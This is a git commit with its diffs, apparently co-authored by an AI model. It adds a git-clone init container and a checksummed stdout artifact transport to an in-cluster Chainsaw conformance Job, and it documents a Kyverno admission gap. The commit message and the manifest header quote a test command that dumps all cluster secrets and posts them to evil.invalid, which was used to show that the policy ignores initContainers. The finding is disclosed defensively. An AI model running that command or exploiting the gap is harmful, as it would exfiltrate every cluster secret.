feat(conformance): the in-cluster Job can now run a named commit and get its results out

`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

conformance/incluster/README.md

@@ -25,12 +25,12 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
   commented with the test/requirement that needs it — only as the matching fault-injection
   test lands. This is a **privileged test identity**: never reused by workloads, its own
   audit item.
-- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
-  `--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
-  exit). **Its `image:` is STALE**: it still names `ghcr.io/kyverno/chainsaw:v0.2.12`, which
-  (a) cannot run `./run.sh` at all and (b) is DENIED at admission. The trigger renders this
-  template per run with `CONFORMANCE_RUNNER_IMAGE` injected (plan §3 item 4, T-6.1b); until
-  that lands, treat the literal `image:` here as a placeholder, not a pin.
+- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
+  run). Single entrypoint `./run.sh`; a git-clone init container delivers the suite at the
+  commit under test; artifacts leave over stdout. Its header is the authority on the
+  substitution tokens, the admission constraints it satisfies, and **an open security gap
+  in the admission policy that it documents and does not exploit** — read it before
+  editing either file.
 - `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
   `kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
   filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
@@ -61,15 +61,33 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
   default verify stays offline so an air-gapped build is fully checked, not half-checked).
 
 ## Flow
-1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
-   trigger with narrow rights: create Job + read its logs/status — *not* a broad
-   kubeconfig).
-2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
-   `./run.sh` under `conformance-runner`.
-3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
-   `coverage/` to the results volume (`/workspace/conformance/_artifacts`).
-4. CI collects those artifacts (results volume or the terminating log stream, which echoes
-   their paths) and enforces the merge / phase-exit gate on them.
+1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
+   runner image digest and the commit SHA — replaces `args` with the invocation shape, and
+   `create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
+   pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
+2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
+   fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
+3. The **init container** shallow-clones the repo into `/workspace/src`, fetches the commit
+   if the shallow tip does not already contain it, detaches onto it, and **asserts `HEAD`
+   equals the requested SHA** — the suite runs at the commit under test or not at all. The
+   read-only Gitea credential reaches `git` as env vars from `secretKeyRef` (secret
+   `conformance-git-readonly`, keys `username`/`token`), never as a volume: admission allows
+   no volume but `workspace` and `results`.
+4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
+   `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
+5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
+   stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
+   decodes it from `kubectl logs` and must make all five completeness checks listed above
+   `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
+   of decoding to plausible garbage.
+
+## Operator prerequisites (out of GitOps — neither exists yet)
+- Secret `conformance-git-readonly` in namespace `conformance`, keys `username` and
+  `token`: a **read-only** Gitea token for this repository. Never a write token or a
+  push-capable deploy key.
+- The `conformance-runner` image built and pushed (plan §5 step 1); its digest is what the
+  trigger substitutes. The image must provide bash, git, python3, chainsaw and kubectl, and
+  a **uid 65532** non-root user, which the Job's `runAsUser`/`fsGroup` pin.
 
 ## Phase 0
 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux

conformance/incluster/chainsaw-job.yaml

@@ -1,23 +1,121 @@
 # =============================================================================
-# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
+# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
+# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
 #
-# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
-# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
-# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
-# CI collects, and enforces the merge / phase-exit gate on the outcome.
+# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
+# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
+# create a permanent Job object and fight the trigger for ownership.
 #
-# Two invocation shapes (CI sets args):
-#   * MERGE GATE:  ./run.sh --requirements <touched R-IDs>   (subset)
-#   * PHASE EXIT:  ./run.sh --layer all                      (full suite)
+# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
+# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
+# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
+# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
 #
-# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
-#   Chosen = a shared results emptyDir + a terminating log stream, with an
-#   OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
-#   no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
-#   once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
-#   results volume (or scrapes the pod log, which echoes their paths).
+# -----------------------------------------------------------------------------
+# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
+# -----------------------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
+# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
+# ONLY: exactly one container on a digest-pinned conformance-runner image,
+# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
+# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
+# host namespaces, non-root with privilege escalation off, and — the constraint that
+# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
 #
-# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
+# So the git credential CANNOT be a projected/secret volume, and the init container
+# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
+#   * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
+#     BY SECRET NAME ONLY — no token literal ever appears in this file;
+#   * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
+#     readOnlyRootFilesystem stays true without a third volume and without subPath
+#     mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
+#     by the non-root runner).
+#
+# Verify before changing anything here:
+#   kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
+#     --resource <rendered job> \
+#     --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
+# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
+# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
+#
+# -----------------------------------------------------------------------------
+# !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !!
+# -----------------------------------------------------------------------------
+# MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template,
+# replace ONLY the init container's `args` with
+#   kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/
+# and leave `containers[0]` untouched and compliant. Result:
+#   Applying 3 policy rule(s) to 1 resource(s)...
+#   pass: 3, fail: 0, warn: 0, error: 0, skip: 0
+# i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's
+# pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never
+# examined, so the exact escalation the policy exists to stop — the privileged
+# conformance-runner SA executing an arbitrary command — is still reachable, one field
+# over. This template's OWN init container does not exploit that; the gap is the policy's,
+# and it existed before this file had an init container at all.
+#
+# NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs
+# in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it.
+# FOLLOW-UP, in order of preference:
+#   1. Bake this clone script into the runner image at a fixed path, drop `args` here, and
+#      add a 4th rule pinning `initContainers` to one container on the same digest-pinned
+#      image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an
+#      init container carries no caller-supplied code at all and the rule is one pattern.
+#   2. Failing that, a rule denying any `initContainers` entry whose image is not the
+#      pinned runner image — weaker (the script stays caller-supplied) but it at least
+#      stops an arbitrary image running as conformance-runner.
+# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
+# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
+#
+# -----------------------------------------------------------------------------
+# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
+# -----------------------------------------------------------------------------
+# The placeholder syntax is deliberately NOT shell syntax. The init container below is a
+# bash script full of legitimate `${...}` references; running the template through
+# `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving
+# `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render
+# this". Render with a two-token sed, nothing cleverer:
+#
+#   sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
+#       -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
+#
+#   @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@  the 64-hex digest of the pinned runner image.
+#         Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
+#         are committed literals, so the substitution cannot repoint the image at another
+#         repository, and the template still satisfies the policy's image pattern before
+#         rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
+#   @@CONFORMANCE_GIT_SHA@@             the 40-hex commit under test. The init container
+#         REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
+#         or an injected value is a hard failure, never a run of the wrong tree.
+#
+# `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the
+# trigger REPLACES it wholesale per invocation shape —
+#   MERGE GATE:  ["--layer", "l2,l3", "--include-scope", "whole-repo",
+#                 "--requirements", "<touched R-IDs>"]
+#   PHASE EXIT:  ["--layer", "all", "--strict-coverage"]
+# Keeping it a committed list (not a substituted scalar) is what lets this file be handed
+# to `kyverno apply` as-is.
+#
+# -----------------------------------------------------------------------------
+# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
+# -----------------------------------------------------------------------------
+# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
+# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
+# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
+# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
+# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
+# complete artifact set — which a bare blob would, because base64 decodes a truncated
+# stream to plausible garbage without complaint. See the block comment above
+# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
+#
+# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
+# transport is the pod's log, so the Job must finish while that log still exists.
 # =============================================================================
 apiVersion: batch/v1
 kind: Job
@@ -28,7 +126,10 @@ metadata:
     app.kubernetes.io/part-of: conformance
 spec:
   backoffLimit: 0            # deterministic: a failed conformance run is a failure, no retry
+  # A retry would also re-emit the artifact envelope, giving the collector two BEGIN
+  # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
   ttlSecondsAfterFinished: 3600
+  activeDeadlineSeconds: 5400   # L3 fault injection is slow; a hung run must not hold the gate
   template:
     metadata:
       labels:
@@ -37,38 +138,159 @@ spec:
       serviceAccountName: conformance-runner    # scoped test identity (rbac.yaml)
       restartPolicy: Never
       securityContext:
+        # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
+        # alone only *rejects* a root image, it does not choose a uid, and the runner image
+        # is built by a separate task (plan §5 step 1). 65532 is the conventional
+        # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
+        # emptyDirs group-writable for that uid.
         runAsNonRoot: true
+        runAsUser: 65532
+        runAsGroup: 65532
+        fsGroup: 65532
         seccompProfile: { type: RuntimeDefault }
-      containers:
-        - name: chainsaw
-          # PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
-          image: ghcr.io/kyverno/chainsaw:v0.2.12
-          workingDir: /workspace/conformance
-          # The suite repo is delivered into /workspace (git clone init-container or
-          # a Flux-populated volume). run.sh is the single entrypoint (identical to local).
-          command: ["./run.sh"]
-          # CI overrides args per invocation shape:
-          #   ["--requirements", "R-NET-01,R-NET-06"]   (merge gate) OR
-          #   ["--layer", "all", "--strict-coverage"]   (phase exit)
-          args: ["--layer", "all", "--strict-coverage"]
+      initContainers:
+        # ---------------------------------------------------------------------
+        # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
+        #
+        # The credential is a READ-ONLY Gitea token, referenced by secret name only. It
+        # reaches git through an inline credential helper that reads the ENVIRONMENT, so
+        # the token never appears in argv (where `ps` and the Pod spec would show it) and
+        # is never written to disk.
+        #
+        # `--depth 1` clones the default branch; the commit under test is usually its tip
+        # but must not be ASSUMED to be (the branch can advance between trigger and run,
+        # and a PR head is not the default branch at all). So: clone shallow, and if the
+        # SHA is not already present, fetch that one commit, then detach onto it and
+        # ASSERT HEAD equals it. The suite runs at the commit under test or not at all.
+        # ---------------------------------------------------------------------
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          command: ["/bin/bash", "-c"]
+          args:
+            - |
+              set -euo pipefail
+
+              # A bad SHA must never degrade into "ran whatever the branch tip was".
+              if ! printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$'; then
+                echo "FATAL: CONFORMANCE_GIT_SHA is not a 40-hex commit id." >&2
+                echo "       The CI trigger did not substitute it, or substituted junk." >&2
+                exit 1
+              fi
+
+              mkdir -p "${TMPDIR}" "${HOME}"
+
+              # git's shell credential helper: invoked as `sh -c '<value> get'`, so it
+              # reads $1 and answers from the environment only.
+              CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
+
+              echo "==> shallow clone ${CONFORMANCE_REPO_URL}"
+              git -c credential.helper="${CRED}" \
+                  clone --depth 1 --no-tags --single-branch \
+                  "${CONFORMANCE_REPO_URL}" "${CONFORMANCE_SRC}"
+
+              if ! git -C "${CONFORMANCE_SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
+                echo "==> ${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
+                git -C "${CONFORMANCE_SRC}" -c credential.helper="${CRED}" \
+                    fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
+              fi
+
+              git -C "${CONFORMANCE_SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
+
+              head="$(git -C "${CONFORMANCE_SRC}" rev-parse HEAD)"
+              if [ "${head}" != "${CONFORMANCE_GIT_SHA}" ]; then
+                echo "FATAL: checked out ${head}, expected ${CONFORMANCE_GIT_SHA}." >&2
+                exit 1
+              fi
+
+              test -x "${CONFORMANCE_SRC}/conformance/run.sh" \
+                || { echo "FATAL: no executable conformance/run.sh at ${head}." >&2; exit 1; }
+
+              echo "==> suite ready at ${head}"
           env:
-            - name: CONF_ROOT
-              value: /workspace/conformance
+            # The repository under test is a committed literal, not a substitution: a
+            # template that lets the trigger choose the clone URL lets it choose the code.
+            - name: CONFORMANCE_REPO_URL
+              value: https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git
+            - name: CONFORMANCE_SRC
+              value: /workspace/src
+            - name: CONFORMANCE_GIT_SHA
+              value: "@@CONFORMANCE_GIT_SHA@@"
+            # BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
+            # READ-ONLY Gitea token with read access to this one repository — never a write
+            # token, never a deploy key with push. Keys: `username`, `token`.
+            # An env var is not a volume, which is how this coexists with the admission
+            # policy's workspace/results-only rule.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+            # Writable scratch + HOME on the workspace emptyDir, so the root filesystem
+            # stays read-only and no third volume is needed.
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
           volumeMounts:
             - { name: workspace, mountPath: /workspace }
-            - { name: results, mountPath: /workspace/conformance/_artifacts }
           securityContext:
             allowPrivilegeEscalation: false
             readOnlyRootFilesystem: true
             capabilities: { drop: ["ALL"] }
             runAsNonRoot: true
+          resources:
+            requests: { cpu: 100m, memory: 128Mi }
+            limits: { cpu: "1", memory: 512Mi }
+      containers:
+        - name: chainsaw
+          # Digest-pinned under the conformance repository path — the admission policy
+          # rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
+          # (+ kubectl, git, python3, bash); see plan §5 step 1.
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          workingDir: /workspace/src/conformance
+          # PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
+          # envelope is emitted by run.sh itself rather than by a shell one-liner here.
+          command: ["./run.sh"]
+          # Replaced wholesale by the trigger per invocation shape (see the header).
+          args: ["--layer", "all", "--strict-coverage"]
+          env:
+            # run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
+            # artifact tree onto the `results` volume. It cannot live at its default
+            # conformance/_artifacts, because a volume mounted inside the clone target
+            # would make that directory non-empty and `git clone` would refuse it.
+            - name: CONF_ARTIFACTS
+              value: /results
+            # THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
+            # base64 tar over an operator's terminal.
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+            runAsNonRoot: true
+          # L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
+          # config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
+          # node without starving the suite.
+          resources:
+            requests: { cpu: 250m, memory: 512Mi }
+            limits: { cpu: "2", memory: 2Gi }
       volumes:
-        # Suite source: populated by an init-container git clone of the impl repo at
-        # the commit under test, OR a Flux-synced source volume. (Init container
-        # omitted from this skeleton; wire in T-6.1b.)
+        # ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
+        # Suite source, written by the init container: /workspace/src is the checkout,
+        # /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
         - name: workspace
           emptyDir: {}
-        # Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
-        # for a results PVC if durability beyond pod lifetime is required.
+        # Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
+        # carries; an emptyDir is sufficient because the transport is the log, not the
+        # volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
         - name: results
           emptyDir: {}

conformance/run.sh

@@ -60,6 +60,17 @@
 #   _artifacts/status/status.md        human requirement-status report (--status)
 #   _artifacts/status/status.json      machine requirement-status report (--status)
 #
+# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
+#   CONF_ARTIFACTS=<dir>           relocate the artifact tree off the default
+#                                  conformance/_artifacts (the Job mounts a `results`
+#                                  volume, which cannot sit inside the git-clone target).
+#   CONF_EMIT_ARTIFACTS_TGZ=1      on exit — pass, fail or abort — print a delimited,
+#                                  checksummed base64 tar of the artifact tree to STDOUT,
+#                                  because `kubectl logs` is the only channel CI has out of
+#                                  the Job (no pods/exec, no kubectl cp). See the RESULTS
+#                                  TRANSPORT block below for the envelope and for the five
+#                                  checks a collector MUST make. Never set this locally.
+#
 # Run ledger (TRACKED — commit these; --record only):
 #   runs/<UTC>-<short-sha>/run.log            full tee'd run output (carries the sentinels)
 #   runs/<UTC>-<short-sha>/report.junit.xml   the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
 # shellcheck source=versions.env
 source "${CONF_ROOT}/versions.env"
 
-ARTIFACTS="${CONF_ROOT}/_artifacts"
+# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
+# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
+# path, because that path is inside the directory the init container `git clone`s into and
+# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
+# a local run is byte-identical to what it always was.
+ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
 COVERAGE_OUT="${ARTIFACTS}/coverage"
 STATUS_OUT="${ARTIFACTS}/status"
 JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
   exit "${RUN_RC}"
 fi
 
+###############################################################################
+# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
+# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
+#
+# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
+# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
+# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
+# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
+# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
+# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
+# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
+# ships its JUnit — the red report is the evidence the gate needs most.
+#
+# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
+# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
+# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
+# may even partially unpack — silent, plausible garbage. So the envelope carries everything
+# needed to PROVE completeness, and carries it TWICE:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the .tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
+# never as "no artifacts", never as a pass:
+#   1. exactly one BEGIN line and exactly one END line;
+#   2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
+#      means two interleaved or re-emitted envelopes in one log;
+#   3. the count of body lines between them equals lines=;
+#   4. the decoded byte count equals bytes=;
+#   5. sha256 of the decoded bytes equals sha256=.
+# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
+# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
+# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
+# which is the whole design requirement.
+#
+# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
+# against the Job's completion condition instead of trusting either signal alone.
+#
+# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
+# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
+# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
+# entry changed with the environment would be a trap for the collector. It unpacks the
+# contents wherever it likes.
+#
+# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
+# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
+###############################################################################
+CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
+CONF_ARTIFACT_ENVELOPE_VERSION="v1"
+
+conf_emit_artifacts_tgz() {
+  local rc="${1:-0}"
+  # Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
+  # below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
+  # change the run's verdict — nothing here can turn a red run green or a green run red.
+  trap - EXIT
+  (
+    set +e
+    local tmp tgz b64 bytes lines sha payload
+    tmp="${TMPDIR:-/tmp}"
+    tgz="${tmp}/conformance-artifacts.$$.tgz"
+    b64="${tgz}.b64"
+    if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
+      printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
+      rm -f "${tgz}"
+      exit 0
+    fi
+    if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
+      printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
+      rm -f "${tgz}" "${b64}"
+      exit 0
+    fi
+    bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
+    lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
+    sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
+    payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
+    printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    cat "${b64}"
+    printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    rm -f "${tgz}" "${b64}"
+    exit 0
+  )
+  exit "${rc}"
+}
+
+# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
+# emits a second envelope into its child's tee'd log.
+if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
+  trap 'conf_emit_artifacts_tgz "$?"' EXIT
+fi
+
 # --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
 gen_coverage() {
